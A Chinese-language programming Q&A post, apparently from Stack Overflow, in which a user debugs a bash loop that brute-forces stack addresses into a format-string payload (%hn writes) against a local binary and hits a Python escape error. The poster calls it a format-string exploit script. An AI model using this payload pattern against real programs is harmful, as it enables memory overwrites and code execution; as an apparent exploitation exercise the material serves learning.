【发布时间】:2014-05-10 12:28:24
【问题描述】:
我的 shell 脚本有问题:
我想用不同类型的字符串运行我的程序 m4,我写下了这个脚本:
#!/bin/bash
for number in $( seq 16 253 )
do
num=$((number+2))
hex_base=$( printf "%X" ${number} )
hex_offset=$( printf "%X" ${num} )
./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done
它以十六进制从 10 计数到 FD,并将此值放入我的字符串中。 出现这个错误:
ValueError: invalid \x escape
第一个问题:这是一个真正的错误还是只是一个警告? 第二个问题:为什么如果所有值都由您应该在字符串中看到的地址中的两个字符组成,却出现错误?
【问题讨论】:
-
这里为什么需要shell?如果您使用 python 并使用子进程调用 m4,事情会容易得多。
-
这是一个格式字符串漏洞利用脚本,我不知道我想写的地址。
标签: python shell format-string